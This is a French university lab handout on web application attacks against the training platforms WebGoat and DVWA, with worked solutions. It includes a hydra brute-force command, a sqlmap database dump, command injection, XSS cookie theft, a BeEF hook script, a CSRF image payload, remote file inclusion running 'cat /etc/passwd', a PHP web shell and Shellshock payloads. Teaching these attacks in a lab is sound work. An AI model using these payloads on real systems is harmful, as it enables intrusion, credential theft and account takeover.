Les attaques sur les applications WEB

PARTIE I : Attaques sur la plateforme WebGoat (Java)

Cet atelier propose d'explorer certaines failles propres aux applications Web en réalisant des exercices de difficulté croissante sur WebGoat (application développée en JAVA et comportant des failles de sécurité).

- Décompresser le fichier Webgoat.zip et choisir le lanceur du serveur tomcat sur le port 8080 (*webgoat_8080.bat).*
- Lancez maintenant l'application web webgoat sur http://localhost:8080/WebGoat/attack (en respectant la casse) Dans Firefox
- Le login et le mot de passe sont : guest / guest
- Puis accéder aux exercices en appuyant sur le bouton Start WebGoat
- Télécharger et intégrer à firefox le Plugin Tamper Data (Altérer les données)

Exercice 1 : dans le menu **Parameter tampering**

1) (***Exploit Hidden Fields***) l'exercice proposé consiste à exploiter les champs cachés dans des pages HTML afin d'envoyer une requête inattendue au serveur. Dans le cas proposé, cela consiste à modifier le prix de l'article proposé. Cet exercice nécessite l'utilisation de Tamper Data ou le proxy burp.

2) (***Bypass Client Side JavaScript Validation***) l'exercice consiste à montrer l'inutilité totale de la sécurisation des requêtes côté client, notamment par du JavaScript. L'utilisation de l'outil de développement intégré dans Firefox (touche F12) est hautement recommandée, mais l'exercice peut se résoudre aussi avec Tamper Data

Exercice 2 : dans le menu ***Session Management Flaws***

(***Spoof an Authentication Cookie)*** l'exercice consiste à comprendre l'utilisation des cookies d'authentification dans un cas simple, où l'algorithme de création du cookie peut être aisément deviné. Pour résoudre l'exercice, il faudra trouver un moyen de se connecter avec le profil de « alice » dont on ne connaît pas le mot de passe.
Indice : intercepter les cookies de (webgoat/webgoat) et de (aspect/aspect) et calculer le cookie de alice ; une partie du cookie de session est réservée à l'authentification « AuthCookie=….. », donc sur cette partie qu'on va agir pour calculer le cookie de alice et l'injecter par la suite.

Exercice 3 : dans le menu ***Injection Flaws***

Lab SQL Injection → stage 1 : String SQL injections : l'exercice consiste à comprendre les bases de l'injection SQL. Beaucoup de sites ne sont plus sensibles à une attaque basique de ce type mais elle demeure intéressante à connaître car elle connaît de nombreuses applications potentielles (cf. les différents exercices de la section). Le but est de cette exercice simple est de se connecter avec le compte administrateur « Neville » au moyen d'une injection par tautologie (déjà présenté en cours).
Pour aller plus loin : Beaucoup d'exercices qui n'ont pas été abordés ici demandent un investissement personnel conséquent, que ce soit par rapport aux notions requises ou aux méthodes déployées pour résoudre les exercices. Vous pourrez notamment vous intéresser aux exercices notifiés par LAB, qui proposent de mettre en œuvre soi-même des solutions aux failles exploitées en complétant les fichiers Java des leçons.

PARTIE II : Attaques sur la DVWA (PHP)

Le but de cet exercice est de vous présenter les failles de sécurité liées directement à la faiblesse du codage. La plateforme DVWA (Damn Vulnerable Web Application) est une application Web développée en PHP qui comporte un ensemble de failles de sécurité qui couvrent les principales classes d'attaques Web. L'intérêt de cette plateforme réside dans les niveaux de sécurité du code (Low, Medium,

High, Impossible), ces niveaux illustrent les erreurs de codage commises par les développeurs et comment les corriger par renforcement du code.

Le login est : **admin** et le mot de passe est : **password**

Exercice 1 :

Exercice 1 : attaque par dictionnaire sur l'authentification à base de mot de passe

Vous constatez que le contrôle d'accès est géré par l'application elle-même. L'authentification se base sur un formulaire et non sur des mécanismes protocolaires (http Basic, Digest, …).
Pour cracker ce système de contrôle, nous faisons appel à l'outil ***hydra*** que vous connaissez déjà.
La difficulté de cette attaque est double :
En premier lieu, l'authentification se fait sur la base d'un formulaire HTML et le passage des paramètres se fait par la méthode POST. Donc il faut récupérer les bons arguments du POST (login, password) et les rejouer en utilisant le dictionnaire.
La deuxième difficulté réside dans le fait que Hydra ne sait pas gérer les sémantiques applicatives pour détecter si sa requête a matchée ou pas avec le login/password. Pour cette raison, il faut indiquer à Hydra la condition d'arrêt avec succès.
Pour résoudre ce problème, nous utilisons l'option HTTP-FORM-POST de hydra qui nécessite au moins trois paramètres séparés par des colonnes (:). Le premier paramètre est l'endroit (lien vers la page d'authentification), le deuxième est les arguments du post (username et password) et le troisième paramètre est l'expression du matching en cas d'échec ou de succés.
Attention : l'application utilise des cookies de session pour gérer les utilisateurs. Il faut donc rajouter un quatrième paramètre pour la gestion des sessions.

Solution :

L'outil hydra sous la machine Kali automatise l'attaque par la force brute sur la page de login

1- Récupération des dictionnaires d'utilisateurs et de mots de passe

Par souci de temps, nous allons créer deux fichiers contenant les identifiants et des mots de passe **users.txt** et **passwords.txt** (contenant au moins admin et password)

2- Lancer l'attaque par hydra

hydra -L users.txt -P passwords.txt -e ns -F -u -t 1 -w 1 -V @ ip de DVWA http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:S=Location\: index.php"

Exercice 2 : attaques sur la logique applicative

1. Réaliser une injection SQL qui récupère la totalité de la base de données y compris les mots de passe hachés stockés dans cette base. Utiliser SQLmap qui se trouve dans la machine KALI.

2. **SQLMAP** : SQL Injection

Sqlmap est un outil d'attaque spécifique aux injections de code SQL : (se trouve sur la VM KALI ***Kali***)
Pour que l'outil puisse injecter du code SQL et récupérer les informations souhaitées, il a besoin des données d'authentification (cookie récupéré sur DVWA précédemment) et d'un point d'entrée vers la BD (ici c'est ?id=3).

sqlmap -u "http://@IP de la machine dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#" --cookie="le cookie d'authentification" --current-user --current-db --dump

Exemple du cookie : PHPSESSID=do3dinv9v154q208f0ntqff977; security=low

3. Réaliser une attaque par injection de commandes. Avec les deux niveaux de sécurité (Low et Medium). Penser à vérifier le code source de l'application à chaque niveau pour trouver la faille et l'exploiter. Le niveau de sécurité par défaut est low, pour le modifier, aller dans le menu **DVWA Security** et changer le niveau en medium.

4. Réaliser une attaque par injection de commandes « shell » avec les deux niveaux de sécurité (Low et Medium). Penser à voir le code source de l'application à chaque niveau pour trouver la faille et l'exploiter.

Solution :

Consiste à introduire un séparateur de commandes shell sous linux « ; » qui permet de suivre le ping par une autre commande.
Dans le niveau medium, l'astuce est d'utiliser un pipe | ou un double pipe || selon le contexte « erreur ou pas dans la première commande »

5. Réaliser une attaque par XSS stocké qui permet à un attaquant de voler le cookie d'authentification de l'administrateur. Avec les deux niveaux de sécurité (low et medium).
Indice : <script> alert("Le cookie est : "+document.cookie) </script>

Solution :

Dans la taille du champ message est limitée à 50 caractères. L'idée est d'éditer le code source à l'aide du débogueur du navigateur (F12) et changer cette taille pour insérer par la suite le script ci-dessus.
Dans le niveau "medium", on remarque dans le code source que le développeur a filtré le mot script en le remplaçant par la chaine vide dans le champ name. L'idée est de changer la forme de la chaine script en mettant un caractère en majuscule par exemple :
<Script> alert("Le cookie est : "+document.cookie) </Script> mais en insérant ce script dans le champ name et nom message car ce dernier est bien filtré et validé par le développeur.

6. Maintenant avec le framework beef XSS (dans le menu de gauche sous la machine ***Kali***, réaliser la même attaque en utilisant le hook XSS proposé par beef pour attaquer une victime qui exécute le XSS dans la DVWA.
Indice (<script src="http://adressse:port/hook.js"></script> en remplaçant l'adresse ip par celle de la KALI).
Penser à réaliser des exploits en utilisant les commandes disponibles dans l'interface Web de beef (http://adresse:3000/ui/authentication)
Accès beef : **username :beef password : beef**

7. Réaliser l'attaque par CSRF sur l'application de changement du mot de passe. L'idée est forger une requête de changement du mot de passe destinée à l'administrateur (ou tout autre utilisateur), en observant l'URL liée au changement du mot de passe. Par la suite trouver un moyen de faire exécuter cette requête par un utilisateur sans qu'il ne s'aperçoive de rien (penser à l'exercice du XSS précédent). Indice utiliser le tag HTML <img src=….. pour laisser le lien dans le guestbook du

Solution :

Dans cet exercice, on utilise une première fois l'exercice CSRF pour récupérer la requête de changement de mot du passe qui est envoyée via l'URL ; exemple d'un changement de password vers admin est
http://localhost/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
La deuxième étape consiste à piégé un utilisateur avec un lien forgé qu'on laisse dans l'exercice XSS stored. L'idée est de demander au browser de la victime d'aller chercher une image se trouvant sur le lien forgé, automatiquement le browser va exécuter un changement de mot de passe à l'insu de la victime. Dans le champ message (ou nom dans medium) de XSS stored, on laisse ce code HTM <img src="http://localhost/vulnerabilities/csrf/?password_new=mypasse&password_conf=mypasse&Change=Change" border="0" height="0" width="0">
Au moment ou la victime visite XSS stored, le browser exécute le lien et change le mot de passe de admin à mypasse.

8. Réaliser une attaque RFI Remote File Inclusion en utilisant un fichier distant « evile.txt » se trouvant sur la machine KALI dans la racine Web. Afficher le code source de ce fichier et imaginer un moyen de détourner l'inclusion d'un fichier local php en incluant le fichier evile.txt

et en exécutant des commandes shell sur le serveur vulnerable. Indice : utiliser le & pour faire appel à l'input du fichier evile.txt

Solution :
Dans le répertoire /var/www/CookieCatcher se trouve le fichier evile.txt qui est le fichier à inclure dans l'attaque. L'attaque consiste à remplacer page=include.php par page=http://ip de la kali/evile.txt&cmd=cat /etc/passwd cette URL va inclure le fichier texte evile.txt et le faire passer au backend tournant avec un moteur PHP, ce dernier voit la balise <?php et tente d'interpréter le code PHP inclut dans ce fichier. Il voit aussi le paramètre &cmd chargé en valeur ; cat /etc/passwd il l'exécute.
Attention : cette attaque ne peut marcher sans le changement des variables à on "allow-url-fopen" et allow-url-include" qui sont à off dans php.ini (/etc/php5/..) sous la DVWA. On a déjà effectué ce changement.

9. Réaliser une ***File inclusion*** en utilisant le même principe exposé lors du cours.
   Vous pouvez imaginer du code PHP qui vous permet de faire appel au shell (Web shell)

```
<?php
echo "Exécuter une commande: ".htmlspecialchars($_GET['cmd']);
system($_GET['cmd']);
?>
```

Indice : sauvegarder ce fichier dans la racine du serveur Web de la machine d'attaque KALI

Partie2 : Exploitation de la vulnérabilité ShellShock :

Bash (bourne shell) est l'interpréteur de commandes par défaut du projet GNU, si vous utilisez des applications CGI côté serveur qui fait appel au Bash comme, vous êtes probablement vulnérable à cette attaque.

Explication :

Une facilité offerte par le bash, consiste à faire passer une fonction (comme l'est déjà le cas d'une variable) à un processus enfant. Exemple du script suivant qui permet de déclarer une fonction qui affiche un Hello World.. !

```
#!/bin/bash
mafonction()
{
echo "Hello World.. !";
}
```

La même sémantique si on veut passer la fonction à un sous-shell (processus enfant)

```
env mafonction='() { echo "Hello World…!"; }' bash -c 'mafonction;'
```

La même chose, en détournant cette facilité du bash

```
env mafonction='() { echo "Hello World…!"; }; echo "voici le
shellshock"' bash -c "mafonction; "
```

On pourra le réduire à plus simple car pas besoin du Hello world.. !

```
env mafonction='() {; }; echo "voici le shellshock"' bash -c
"mafonction; "
```

Exploitation:
Apache transforme les éléments d'une requête http en variables pour être évaluées par l'application (cgi)

- L'URI

- Les entêtes
- Les arguments: (user name, password,….)

Exemple:
HTTP_USER_AGENT= Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4;.....
Devient avec une insertion du shellshock :
HTTP_USER_AGENT= () {; }; echo ;echo "voici le shellshock"'

Suis-je vulnérable à ShellSock ?

Pour tester si votre serveur web est vulnérable à cette attaque, il faut se rendre sur le terminal de commandes et exécuter la commande suivante dans votre interpréteur Bash.

```
# env x='() { :;}; echo Vulnérable au ShellSock' bash -c "echo Ceci est
un test"
```

Si votre terminal affiche

```
Vulnérable au ShellShock
Ceci est un test
```

Q. Réaliser une attaque Shellshock sur la page (http://@ip de la DVWA/cgi-bin/test.cgi
Penser à utiliser un plugin d'interception de requêtes ou Burp.
Q. Quelles mécanismes a préconiser pour corriger cette faille de sécurité.